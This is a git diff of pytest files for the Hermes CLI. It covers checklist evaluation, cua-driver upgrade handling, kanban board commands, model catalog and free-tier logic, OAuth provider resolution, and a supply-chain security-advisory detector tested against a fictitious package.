hermes_cli.goals import evaluate_checklist, GoalState, ChecklistItem, ITEM_PENDING - - # Make a real history file so the path-restriction check passes. - hist = tmp_path / "hist.json" - hist.write_text(json.dumps([{"role": "user", "content": "hi"}])) - - state = GoalState( - goal="g", - decomposed=True, - checklist=[ChecklistItem(text="a", status=ITEM_PENDING)], - ) - - msg1 = _FakeMessage(tool_calls=[_FakeToolCall( - "tc-1", "read_file", {"path": str(hist), "offset": 1, "limit": 100}, - )]) - msg2 = _FakeMessage(tool_calls=[_FakeToolCall( - "tc-2", "update_checklist", - { - "updates": [{"index": 1, "status": "completed", "evidence": "saw it"}], - "new_items": [], - "reason": "verified via read_file", - }, - )]) - client = _make_fake_client([msg1, msg2]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - parsed, parse_failed = evaluate_checklist( - state, "did the thing", history_path=hist, - ) - - assert parse_failed is False - assert parsed["updates"][0]["status"] == "completed" - assert parsed["reason"] == "verified via read_file" - # Two API calls — one for the read, one for the verdict. - assert len(client.chat.completions._calls) == 2 - - def test_evaluate_filters_non_terminal_status_in_tool_args(self, hermes_home): - """update_checklist should only accept 'completed' or 'impossible' — - any 'pending' updates are dropped at the normalize layer.""" - from hermes_cli import goals - from hermes_cli.goals import evaluate_checklist, GoalState, ChecklistItem, ITEM_PENDING - - state = GoalState( - goal="g", - decomposed=True, - checklist=[ - ChecklistItem(text="a", status=ITEM_PENDING), - ChecklistItem(text="b", status=ITEM_PENDING), - ], - ) - msg = _FakeMessage(tool_calls=[_FakeToolCall( - "tc-1", "update_checklist", - { - "updates": [ - {"index": 1, "status": "completed", "evidence": "yes"}, - {"index": 2, "status": "pending", "evidence": "skip me"}, - ], - "new_items": [], - "reason": "...", - }, - )]) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - parsed, _pf = evaluate_checklist(state, "x", history_path=None) - - # Only the completed flip survives; pending update is dropped silently. - assert len(parsed["updates"]) == 1 - assert parsed["updates"][0]["index"] == 0 diff --git a/tests/hermes_cli/test_install_cua_driver.py b/tests/hermes_cli/test_install_cua_driver.py new file mode 100644 index 000000000000..42a49e22b5d1 --- /dev/null +++ b/tests/hermes_cli/test_install_cua_driver.py @@ -0,0 +1,115 @@ +"""Tests for ``install_cua_driver`` upgrade semantics. + +The cua-driver upstream installer always pulls the latest release tag, so +re-running it is the canonical upgrade path. ``install_cua_driver(upgrade=True)`` +must: + +* Be macOS-only — no-op silently on Linux/Windows so ``hermes update`` can + call it unconditionally without warning every non-macOS user. +* Re-run the installer even when the binary is already on PATH (this is the + fix for the "we only pulled cua-driver once on enable" complaint). +* Preserve original ``upgrade=False`` behaviour for the toolset-enable flow: + skip if installed, install otherwise, warn on non-macOS. +""" + +from __future__ import annotations + +from unittest.mock import patch + + +class TestInstallCuaDriverUpgrade: + def test_upgrade_on_non_macos_is_silent_noop(self): + """``hermes update`` calls install_cua_driver(upgrade=True) for every + user. On Linux/Windows it must return False without printing the + "macOS-only; skipping" warning that the toolset-enable path emits.""" + from hermes_cli import tools_config + + with patch.object(tools_config, "_print_warning") as warn, \ + patch("platform.system", return_value="Linux"): + assert tools_config.install_cua_driver(upgrade=True) is False + warn.assert_not_called() + + def test_non_upgrade_on_non_macos_warns(self): + """The toolset-enable path (upgrade=False) should still warn loudly + when the user tries to enable Computer Use on a non-macOS host.""" + from hermes_cli import tools_config + + with patch.object(tools_config, "_print_warning") as warn, \ + patch("platform.system", return_value="Linux"): + assert tools_config.install_cua_driver(upgrade=False) is False + warn.assert_called() + + def test_upgrade_on_macos_with_binary_runs_installer(self): + """When cua-driver is already on PATH and upgrade=True, we must + re-run the upstream installer (this is the fix for the bug report). + """ + from hermes_cli import tools_config + + with patch("platform.system", return_value="Darwin"), \ + patch.object(tools_config.shutil, "which", + side_effect=lambda n: "/usr/local/bin/" + n + if n in ("cua-driver", "curl") else None), \ + patch.object(tools_config, "_run_cua_driver_installer", + return_value=True) as runner, \ + patch("subprocess.run"): + assert tools_config.install_cua_driver(upgrade=True) is True + runner.assert_called_once() + # Refresh path uses non-verbose mode so we don't re-print the + # "grant macOS permissions" block on every `hermes update`. + kwargs = runner.call_args.kwargs + assert kwargs.get("verbose") is False + + def test_upgrade_on_macos_without_binary_runs_installer(self): + """upgrade=True with cua-driver missing must still trigger an + install — equivalent to a fresh install. (Don't silently no-op.)""" + from hermes_cli import tools_config + + with patch("platform.system", return_value="Darwin"), \ + patch.object(tools_config.shutil, "which", + side_effect=lambda n: "/usr/bin/curl" if n == "curl" else None), \ + patch.object(tools_config, "_run_cua_driver_installer", + return_value=True) as runner: + assert tools_config.install_cua_driver(upgrade=True) is True + runner.assert_called_once() + + def test_non_upgrade_on_macos_with_binary_skips_install(self): + """Original toolset-enable behaviour: cua-driver already installed + + upgrade=False → confirm and return without re-running installer. + This is the behaviour that ``hermes tools`` (re)enable depends on, + so the new helper must not regress it.""" + from hermes_cli import tools_config + + with patch("platform.system", return_value="Darwin"), \ + patch.object(tools_config.shutil, "which", + side_effect=lambda n: "/usr/local/bin/" + n + if n in ("cua-driver", "curl") else None), \ + patch.object(tools_config, "_run_cua_driver_installer") as runner, \ + patch("subprocess.run"): + assert tools_config.install_cua_driver(upgrade=False) is True + runner.assert_not_called() + + def test_non_upgrade_on_macos_without_binary_runs_installer(self): + """Original fresh-install path must still work.""" + from hermes_cli import tools_config + + with patch("platform.system", return_value="Darwin"), \ + patch.object(tools_config.shutil, "which", + side_effect=lambda n: "/usr/bin/curl" if n == "curl" else None), \ + patch.object(tools_config, "_run_cua_driver_installer", + return_value=True) as runner: + assert tools_config.install_cua_driver(upgrade=False) is True + runner.assert_called_once() + + def test_upgrade_without_curl_does_not_crash(self): + """If curl isn't on PATH we can't refresh — must warn and return + the current install state, not raise.""" + from hermes_cli import tools_config + + # cua-driver present, curl missing. + def _which(name): + return "/usr/local/bin/cua-driver" if name == "cua-driver" else None + + with patch("platform.system", return_value="Darwin"), \ + patch.object(tools_config.shutil, "which", side_effect=_which), \ + patch.object(tools_config, "_print_warning"): + assert tools_config.install_cua_driver(upgrade=True) is True diff --git a/tests/hermes_cli/test_kanban_cli.py b/tests/hermes_cli/test_kanban_cli.py index 3d88b6212cbe..241016a25d8f 100644 --- a/tests/hermes_cli/test_kanban_cli.py +++ b/tests/hermes_cli/test_kanban_cli.py @@ -392,3 +392,13 @@ def test_run_slash_missing_required_arg_friendly_error(kanban_home): out = kc.run_slash("show") assert "/kanban show" in out assert "task_id" in out + + +def test_run_slash_board_override_restores_prior_env(kanban_home, monkeypatch): + kb.create_board("alpha") + kb.create_board("beta") + monkeypatch.setenv("HERMES_KANBAN_BOARD", "beta") + + kc.run_slash("--board alpha list") + + assert os.environ.get("HERMES_KANBAN_BOARD") == "beta" diff --git a/tests/hermes_cli/test_kanban_notify.py b/tests/hermes_cli/test_kanban_notify.py index e1c421594aab..ddfa4b40aa26 100644 --- a/tests/hermes_cli/test_kanban_notify.py +++ b/tests/hermes_cli/test_kanban_notify.py @@ -2,6 +2,7 @@ import pytest from pathlib import Path +from types import SimpleNamespace from hermes_cli import kanban_db as kb from unittest.mock import AsyncMock, MagicMock, patch @@ -429,3 +430,52 @@ async def _fast_sleep(_): finally: conn.close() assert subs == [] + + +@pytest.mark.asyncio +async def test_gateway_create_autosubscribes_on_explicit_board(kanban_home): + """`/kanban --board create ...` must subscribe on that board. + + The gateway handler currently auto-subscribes after `/kanban create`, + but the create detection must still work when the shared `--board` + flag appears before the subcommand, and the subscription must land in + that board's DB rather than the ambient/default board. + """ + from gateway.run import GatewayRunner + from gateway.config import Platform + + kb.create_board("projx") + + runner = object.__new__(GatewayRunner) + source = SimpleNamespace( + platform=Platform.TELEGRAM, + chat_id="chat1", + thread_id="th1", + user_id="u1", + ) + event = SimpleNamespace( + text='/kanban --board projx create "hello" --assignee alice', + source=source, + ) + + out = await GatewayRunner._handle_kanban_command(runner, event) + + assert "subscribed" in out.lower() + + conn = kb.connect(board="projx") + try: + subs = kb.list_notify_subs(conn) + tasks = kb.list_tasks(conn) + finally: + conn.close() + + assert [t.title for t in tasks] == ["hello"] + assert len(subs) == 1 + assert subs[0]["chat_id"] == "chat1" + assert subs[0]["thread_id"] == "th1" + + conn = kb.connect(board="default") + try: + assert kb.list_notify_subs(conn) == [] + finally: + conn.close() diff --git a/tests/hermes_cli/test_model_catalog.py b/tests/hermes_cli/test_model_catalog.py index 2b757ac79b28..d4a4b7237a86 100644 --- a/tests/hermes_cli/test_model_catalog.py +++ b/tests/hermes_cli/test_model_catalog.py @@ -3,6 +3,7 @@ from __future__ import annotations import json +import os import time from pathlib import Path from unittest.mock import patch @@ -282,3 +283,103 @@ def test_curated_nous_ids_prefers_manifest(self, isolated_home): result = get_curated_nous_model_ids() assert result == ["anthropic/claude-opus-4.7", "moonshotai/kimi-k2.6"] + + def test_picker_nous_row_uses_manifest(self, tmp_path, monkeypatch): + """The /model picker must surface the manifest's nous list, not the + in-repo _PROVIDER_MODELS["nous"] snapshot. Regression: before this + fix, list_authenticated_providers() built the curated dict from + _PROVIDER_MODELS only — so newly-added Portal models never reached + the slash-command picker until the next Hermes release. + """ + # We deliberately do NOT use the ``isolated_home`` fixture here: + # that fixture monkeypatches ``Path.home`` to ``tmp_path``, which + # trips the auth-store seat-belt in ``_auth_file_path()`` because + # ``HERMES_HOME / auth.json`` then resolves to the same path the + # seat-belt thinks is the "real" user store. Use the autouse + # ``_hermetic_environment`` HERMES_HOME directly instead. + import importlib + from hermes_cli import model_catalog + importlib.reload(model_catalog) + try: + from hermes_cli.model_switch import list_picker_providers + + active_home = Path(os.environ["HERMES_HOME"]) + (active_home / "auth.json").write_text( + json.dumps( + { + "providers": {"nous": {"access_token": "fake"}}, + "credential_pool": {}, + } + ) + ) + + with patch.object( + model_catalog, "_fetch_manifest", return_value=_valid_manifest() + ): + picker = list_picker_providers( + current_provider="nous", max_models=99 + ) + finally: + model_catalog.reset_cache() + + nous_row = next((r for r in picker if r["slug"] == "nous"), None) + assert nous_row is not None, "nous row must appear when authed" + assert nous_row["models"] == [ + "anthropic/claude-opus-4.7", + "moonshotai/kimi-k2.6", + ] + + +# ----------------------------------------------------------------------------- +# Drift guard — prevent the in-repo curated lists from going out of sync with +# the docs-hosted manifest at website/static/api/model-catalog.json. +# +# History: qwen/qwen3.6-plus was added to _PROVIDER_MODELS["nous"] in commit +# 9dd6e5510 but website/static/api/model-catalog.json was not regenerated for +# weeks, so free-tier users on a new install fetched a stale manifest and the +# free-tier picker showed "No free models currently available." even though +# the Portal was serving qwen/qwen3.6-plus as free. CI must catch this. +# ----------------------------------------------------------------------------- + + +class TestManifestMatchesInRepoLists: + """Fail if the on-disk manifest is out of date relative to in-repo lists.""" + + @staticmethod + def _strip_volatile(catalog: dict) -> dict: + """Drop fields that always change (timestamps) for diff comparison.""" + out = dict(catalog) + out.pop("updated_at", None) + return out + + def test_in_repo_lists_match_manifest(self): + """``scripts/build_model_catalog.py`` output must match the committed file. + + If this fails, run ``python scripts/build_model_catalog.py`` and + commit the regenerated ``website/static/api/model-catalog.json``. + """ + # Resolve the repo root from this test file's location. + repo_root = Path(__file__).resolve().parents[2] + manifest_path = repo_root / "website" / "static" / "api" / "model-catalog.json" + + if not manifest_path.exists(): + pytest.skip(f"manifest missing at {manifest_path}") + + # Build expected catalog using the same script CI would. + import importlib.util + script_path = repo_root / "scripts" / "build_model_catalog.py" + spec = importlib.util.spec_from_file_location("_build_model_catalog", script_path) + mod = importlib.util.module_from_spec(spec) + assert spec.loader is not None + spec.loader.exec_module(mod) + expected = mod.build_catalog() + + with open(manifest_path, encoding="utf-8") as fh: + actual = json.load(fh) + + assert self._strip_volatile(actual) == self._strip_volatile(expected), ( + "website/static/api/model-catalog.json is out of sync with " + "_PROVIDER_MODELS['nous'] / OPENROUTER_MODELS. " + "Run: python scripts/build_model_catalog.py && " + "git add website/static/api/model-catalog.json" + ) diff --git a/tests/hermes_cli/test_models.py b/tests/hermes_cli/test_models.py index d0201a3e8028..668105bf10d2 100644 --- a/tests/hermes_cli/test_models.py +++ b/tests/hermes_cli/test_models.py @@ -6,6 +6,7 @@ OPENROUTER_MODELS, fetch_openrouter_models, model_ids, detect_provider_for_model, is_nous_free_tier, partition_nous_models_by_tier, check_nous_free_tier, _FREE_TIER_CACHE_TTL, + union_with_portal_free_recommendations, ) import hermes_cli.models as _models_mod @@ -383,6 +384,128 @@ def test_all_paid_models(self): assert unav == models +class TestUnionWithPortalFreeRecommendations: + """Tests for union_with_portal_free_recommendations. + + The Portal's freeRecommendedModels endpoint is the source of truth for + what's free *right now* — the in-repo curated list and docs-hosted + manifest can lag. This helper guarantees the picker still surfaces + Portal-flagged free models even when the rest of the catalog is stale. + """ + + _PAID = {"prompt": "0.000003", "completion": "0.000015"} + _FREE = {"prompt": "0", "completion": "0"} + + def _payload(self, free_models: list[str]) -> dict: + return { + "freeRecommendedModels": [ + {"modelName": mid, "displayName": mid} for mid in free_models + ], + } + + def test_adds_portal_free_model_missing_from_curated(self): + """A Portal-advertised free model not in curated is prepended + priced free.""" + curated = ["anthropic/claude-opus-4.6"] + pricing = {"anthropic/claude-opus-4.6": self._PAID} + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + return_value=self._payload(["qwen/qwen3.6-plus"]), + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + + assert ids[0] == "qwen/qwen3.6-plus" # prepended + assert "anthropic/claude-opus-4.6" in ids + # Synthetic free pricing entry created + assert p["qwen/qwen3.6-plus"] == self._FREE + # Existing pricing untouched + assert p["anthropic/claude-opus-4.6"] == self._PAID + + def test_does_not_duplicate_curated_entries(self): + """A Portal free model already in curated is not duplicated.""" + curated = ["qwen/qwen3.6-plus", "anthropic/claude-opus-4.6"] + pricing = { + "qwen/qwen3.6-plus": self._FREE, + "anthropic/claude-opus-4.6": self._PAID, + } + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + return_value=self._payload(["qwen/qwen3.6-plus"]), + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + + assert ids == curated + assert p == pricing + + def test_then_partition_keeps_portal_free_model(self): + """End-to-end: Portal-flagged free model survives partition.""" + # Simulate the broken-state-before-this-fix: in-repo curated list + # contains qwen/qwen3.6-plus (because new builds shipped it) but + # live pricing endpoint hasn't published its zero-cost entry yet. + # The Portal's freeRecommendedModels still flags it as free. + curated = ["qwen/qwen3.6-plus", "anthropic/claude-opus-4.6"] + pricing = {"anthropic/claude-opus-4.6": self._PAID} # qwen missing! + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + return_value=self._payload(["qwen/qwen3.6-plus"]), + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + sel, unav = partition_nous_models_by_tier(ids, p, free_tier=True) + assert "qwen/qwen3.6-plus" in sel + assert "anthropic/claude-opus-4.6" in unav + + def test_empty_payload_returns_inputs_unchanged(self): + """Empty Portal response leaves curated + pricing untouched.""" + curated = ["a", "b"] + pricing = {"a": self._PAID} + with patch("hermes_cli.models.fetch_nous_recommended_models", return_value={}): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + assert ids == curated + assert p == pricing + + def test_missing_freeRecommendedModels_key(self): + """Portal payload without freeRecommendedModels degrades gracefully.""" + curated = ["a"] + pricing = {"a": self._PAID} + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + return_value={"paidRecommendedModels": [{"modelName": "x"}]}, + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + assert ids == curated + assert p == pricing + + def test_fetch_failure_returns_inputs(self): + """Network failures don't blow up the picker.""" + curated = ["a"] + pricing = {"a": self._PAID} + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + side_effect=RuntimeError("network down"), + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + assert ids == curated + assert p == pricing + + def test_invalid_entries_skipped(self): + """Non-dict / missing-modelName entries are filtered out.""" + curated = ["a"] + pricing = {"a": self._PAID} + with patch( + "hermes_cli.models.fetch_nous_recommended_models", + return_value={ + "freeRecommendedModels": [ + "not-a-dict", + {"displayName": "no-modelName"}, + {"modelName": ""}, + {"modelName": "qwen/qwen3.6-plus"}, + ] + }, + ): + ids, p = union_with_portal_free_recommendations(curated, pricing, "") + assert ids == ["qwen/qwen3.6-plus", "a"] + assert p["qwen/qwen3.6-plus"] == self._FREE + + class TestCheckNousFreeTierCache: """Tests for the TTL cache on check_nous_free_tier().""" diff --git a/tests/hermes_cli/test_runtime_provider_resolution.py b/tests/hermes_cli/test_runtime_provider_resolution.py index d17b1a41e3a8..22c778dbab26 100644 --- a/tests/hermes_cli/test_runtime_provider_resolution.py +++ b/tests/hermes_cli/test_runtime_provider_resolution.py @@ -2285,3 +2285,39 @@ def test_minimax_oauth_runtime_uses_inference_base_url(monkeypatch): resolved = rp.resolve_runtime_provider(requested="minimax-oauth") assert MINIMAX_OAUTH_CN_INFERENCE.rstrip("/") in resolved["base_url"] + + +def test_minimax_oauth_pool_forces_anthropic_messages_despite_stale_config(monkeypatch): + """A pooled MiniMax OAuth token must not inherit stale chat_completions config.""" + + class _Entry: + access_token = "oauth-token" + source = "manual:minimax_oauth" + base_url = "https://api.minimax.io/anthropic" + + class _Pool: + def has_credentials(self): + return True + + def select(self): + return _Entry() + + monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "minimax-oauth") + monkeypatch.setattr( + rp, + "_get_model_config", + lambda: { + "provider": "minimax-oauth", + "default": "MiniMax-M2.7", + "api_mode": "chat_completions", + }, + ) + monkeypatch.setattr(rp, "load_pool", lambda provider: _Pool()) + monkeypatch.setattr(rp, "_resolve_named_custom_runtime", lambda **k: None) + monkeypatch.setattr(rp, "_resolve_explicit_runtime", lambda **k: None) + + resolved = rp.resolve_runtime_provider(requested="minimax-oauth") + + assert resolved["provider"] == "minimax-oauth" + assert resolved["api_mode"] == "anthropic_messages" + assert resolved["base_url"] == "https://api.minimax.io/anthropic" diff --git a/tests/hermes_cli/test_security_advisories.py b/tests/hermes_cli/test_security_advisories.py new file mode 100644 index 000000000000..0a745269a5e3 --- /dev/null +++ b/tests/hermes_cli/test_security_advisories.py @@ -0,0 +1,330 @@ +"""Tests for hermes_cli.security_advisories. + +The advisory module is the user-facing detection / remediation surface +for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that +poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in +isolation — no real package metadata, no real config, no real cache. +""" + +from __future__ import annotations + +import time +from pathlib import Path +from typing import Iterator + +import pytest + +import hermes_cli.security_advisories as adv + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def fake_advisory() -> adv.Advisory: + """A self-contained Advisory used across tests.""" + return adv.Advisory( + id="test-advisory-2026-99", + title="Test advisory", + summary="Pretend this package has been compromised.", + url="https://example.com/advisory", + compromised=( + ("fake-malicious-pkg", frozenset({"6.6.6"})), + ), + remediation=( + "pip uninstall -y fake-malicious-pkg", + "Rotate any credentials that may have been exposed.", + ), + published="2026-01-01", + severity="critical", + ) + + +@pytest.fixture +def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: + """Redirect HERMES_HOME so banner cache and config writes are sandboxed.""" + home = tmp_path / ".hermes" + home.mkdir() + (home / "cache").mkdir() + monkeypatch.setattr(Path, "home", lambda: tmp_path) + monkeypatch.setenv("HERMES_HOME", str(home)) + return home + + +@pytest.fixture +def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]: + """Override _installed_version with a controllable lookup table.""" + table: dict[str, str] = {} + monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg)) + yield table + + +# --------------------------------------------------------------------------- +# detect_compromised +# --------------------------------------------------------------------------- + + +class TestDetectCompromised: + def test_no_match_returns_empty_list(self, fake_advisory, patched_version): + # No matching package installed. + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_exact_version_match(self, fake_advisory, patched_version): + patched_version["fake-malicious-pkg"] = "6.6.6" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert len(hits) == 1 + assert hits[0].advisory.id == fake_advisory.id + assert hits[0].package == "fake-malicious-pkg" + assert hits[0].installed_version == "6.6.6" + + def test_safe_version_does_not_match(self, fake_advisory, patched_version): + # Package is installed but the version is not in the compromised set. + patched_version["fake-malicious-pkg"] = "6.6.5" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_empty_compromised_set_matches_any_version( + self, patched_version + ): + # An advisory with an empty version set is a "any version is suspect" + # wildcard — used when an entire maintainer namespace is owned. + wildcard = adv.Advisory( + id="wildcard", + title="Whole namespace owned", + summary="x", + url="x", + compromised=(("evil-namespace", frozenset()),), + remediation=("uninstall it",), + ) + patched_version["evil-namespace"] = "0.0.1" + hits = adv.detect_compromised(advisories=[wildcard]) + assert len(hits) == 1 + assert hits[0].installed_version == "0.0.1" + + +# --------------------------------------------------------------------------- +# Acknowledgement persistence +# --------------------------------------------------------------------------- + + +class TestAck: + def test_get_acked_ids_empty_when_no_config(self, monkeypatch): + # load_config raises → returns empty set, doesn't crash. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("boom")), + ) + assert adv.get_acked_ids() == set() + + def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + assert adv.filter_unacked([hit]) == [] + + def test_filter_unacked_passes_through_unknown( + self, fake_advisory, monkeypatch + ): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + assert adv.filter_unacked([hit]) == [hit] + + def test_ack_advisory_persists_id(self, isolated_home, monkeypatch): + # Stub the config layer end-to-end with a tiny in-memory store so we + # don't depend on the full hermes_cli.config bootstrap. + store: dict = {"security": {}} + monkeypatch.setattr( + "hermes_cli.config.load_config", lambda: store + ) + monkeypatch.setattr( + "hermes_cli.config.save_config", + lambda cfg: store.update(cfg) or None, + ) + assert adv.ack_advisory("test-advisory-2026-99") is True + assert "test-advisory-2026-99" in store["security"]["acked_advisories"] + # Idempotent. + adv.ack_advisory("test-advisory-2026-99") + assert ( + store["security"]["acked_advisories"].count("test-advisory-2026-99") + == 1 + ) + + def test_ack_advisory_rejects_blank(self, isolated_home): + assert adv.ack_advisory("") is False + assert adv.ack_advisory(" ") is False + + +# --------------------------------------------------------------------------- +# Banner cache rate limiting +# --------------------------------------------------------------------------- + + +class TestBannerCache: + def test_first_call_returns_due_hits( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + due = adv.hits_due_for_banner([hit]) + assert due == [hit] + + def test_second_call_within_window_suppresses( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Same banner inside repeat window → suppressed. + again = adv.hits_due_for_banner([hit]) + assert again == [] + + def test_call_after_window_re_banners( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Backdate the cache so it looks like the banner was shown more + # than 24h ago — should re-banner. + cache_path = adv._banner_cache_path() + assert cache_path is not None + old_lines = cache_path.read_text(encoding="utf-8").splitlines() + backdated = [] + for line in old_lines: + parts = line.split(None, 1) + if len(parts) == 2: + backdated.append(f"{parts[0]} {time.time() - 48 * 3600}") + cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8") + again = adv.hits_due_for_banner([hit]) + assert again == [hit] + + def test_acked_hits_never_banner( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + assert adv.hits_due_for_banner([hit]) == [] + + +# --------------------------------------------------------------------------- +# Rendering +# --------------------------------------------------------------------------- + + +class TestRendering: + def test_short_banner_lines_includes_id_and_version(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + lines = adv.short_banner_lines([hit]) + joined = "\n".join(lines) + assert fake_advisory.id in joined + assert fake_advisory.title in joined + assert "fake-malicious-pkg==6.6.6" in joined + assert "hermes doctor" in joined + + def test_full_remediation_text_contains_all_steps(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + body = "\n".join(adv.full_remediation_text(hit)) + # All remediation steps must be present. + for step in fake_advisory.remediation: + assert step in body + assert fake_advisory.url in body + assert fake_advisory.summary in body + + def test_render_doctor_section_clean_state(self): + # No hits → success message, has_problems=False. + has_problems, lines = adv.render_doctor_section([]) + assert has_problems is False + assert any("No active security advisories" in line for line in lines) + + def test_render_doctor_section_with_unacked_hit( + self, fake_advisory, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + has_problems, lines = adv.render_doctor_section([hit]) + assert has_problems is True + body = "\n".join(lines) + assert fake_advisory.title in body + + def test_gateway_log_message_singular(self, fake_advisory, monkeypatch): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + msg = adv.gateway_log_message([hit]) + assert msg is not None + assert fake_advisory.id in msg + assert "fake-malicious-pkg==6.6.6" in msg + + def test_gateway_log_message_returns_none_for_no_hits(self): + assert adv.gateway_log_message([]) is None + + +# --------------------------------------------------------------------------- +# Real catalog smoke test +# --------------------------------------------------------------------------- + + +class TestRealCatalog: + def test_advisories_well_formed(self): + """Every shipped advisory must be self-consistent. + + Catches data-entry mistakes (empty IDs, missing remediation, bad + compromised tuples) before they ship. + """ + seen_ids: set[str] = set() + for advisory in adv.ADVISORIES: + assert advisory.id, "advisory has empty id" + assert advisory.id not in seen_ids, f"duplicate id {advisory.id}" + seen_ids.add(advisory.id) + assert advisory.title, f"{advisory.id}: empty title" + assert advisory.summary, f"{advisory.id}: empty summary" + assert advisory.remediation, f"{advisory.id}: empty remediation" + assert advisory.url.startswith("http"), \ + f"{advisory.id}: bad url {advisory.url!r}" + assert advisory.compromised, \ + f"{advisory.id}: empty compromised tuple" + for pkg, versions in advisory.compromised: + assert pkg, f"{advisory.id}: empty package name" + assert isinstance(versions, frozenset), \ + f"{advisory.id}: versions must be frozenset" diff --git a/tests/hermes_cli/test_tui_npm_install.py b/tests/hermes_cli/test_tui_npm_install.py index 1dec6257165f..efad281565bc 100644 --- a/tests/hermes_cli/test_tui_npm_install.py +++ b/tests/hermes_cli/test_tui_npm_install.py @@ -25,12 +25,6 @@ def _touch_tui_entry(root: Path) -> None: entry.write_text("console.log('tui')") -def _touch_ink_bundle(root: Path) -> None: - bundle = root / "packages" / "hermes-ink" / "dist" / "ink-bundle.js" - bundle.parent.mkdir(parents=True, exist_ok=True) - bundle.write_text("export {}") - - def test_need_install_when_ink_missing(tmp_path: Path, main_mod) -> None: (tmp_path / "package-lock.json").write_text("{}") assert main_mod._tui_need_npm_install(tmp_path) is True @@ -122,17 +116,7 @@ def test_no_install_without_lockfile_when_ink_present(tmp_path: Path, main_mod) assert main_mod._tui_need_npm_install(tmp_path) is False -def test_build_needed_when_local_ink_bundle_missing(tmp_path: Path, main_mod) -> None: +def test_no_install_prebuilt_bundle_mode(tmp_path: Path, main_mod) -> None: + """dist/entry.js present and no package-lock.json → prebuilt bundle, skip npm install.""" _touch_tui_entry(tmp_path) - _touch_ink(tmp_path) - assert main_mod._tui_need_npm_install(tmp_path) is False - assert main_mod._tui_build_needed(tmp_path) is True - - -def test_build_not_needed_when_entry_and_ink_bundle_present(tmp_path: Path, main_mod) -> None: - _touch_tui_entry(tmp_path) - _touch_ink(tmp_path) - _touch_ink_bundle(tmp_path) - - assert main_mod._tui_build_needed(tmp_path) is False diff --git a/tests/hermes_cli/test_web_oauth_dispatch.py b/tests/hermes_cli/test_web_oauth_dispatch.py new file mode 100644 index 000000000000..23b72a303cf7 --- /dev/null +++ b/tests/hermes_cli/test_web_oauth_dispatch.py @@ -0,0 +1,178 @@ +"""Regression tests for the OAuth dispatcher in hermes_cli.web_server. + +Bug history (2026-05-09): the `_OAUTH_PROVIDER_CATALOG` had two entries +flagged ``flow: "pkce"`` — anthropic and minimax-oauth — and the +dispatcher ``start_oauth_login`` hardcoded ``_start_anthropic_pkce()`` +for any pkce-flagged provider. So clicking "Login" next to MiniMax in +the dashboard's Keys tab silently launched the Anthropic/Claude OAuth +flow. + +The fix: + 1. Catalog entry for minimax-oauth changed from ``flow: "pkce"`` to + ``flow: "device_code"`` (the actual UX is verification URI + user + code + background poll, with PKCE as a security extension). + 2. New MiniMax branch added to ``_start_device_code_flow``. + 3. Dispatcher tightened: pkce branch now requires + ``provider_id == "anthropic"``, so any future PKCE provider added + without an explicit branch gets a clean ``400 Unsupported flow`` + instead of silently launching Anthropic 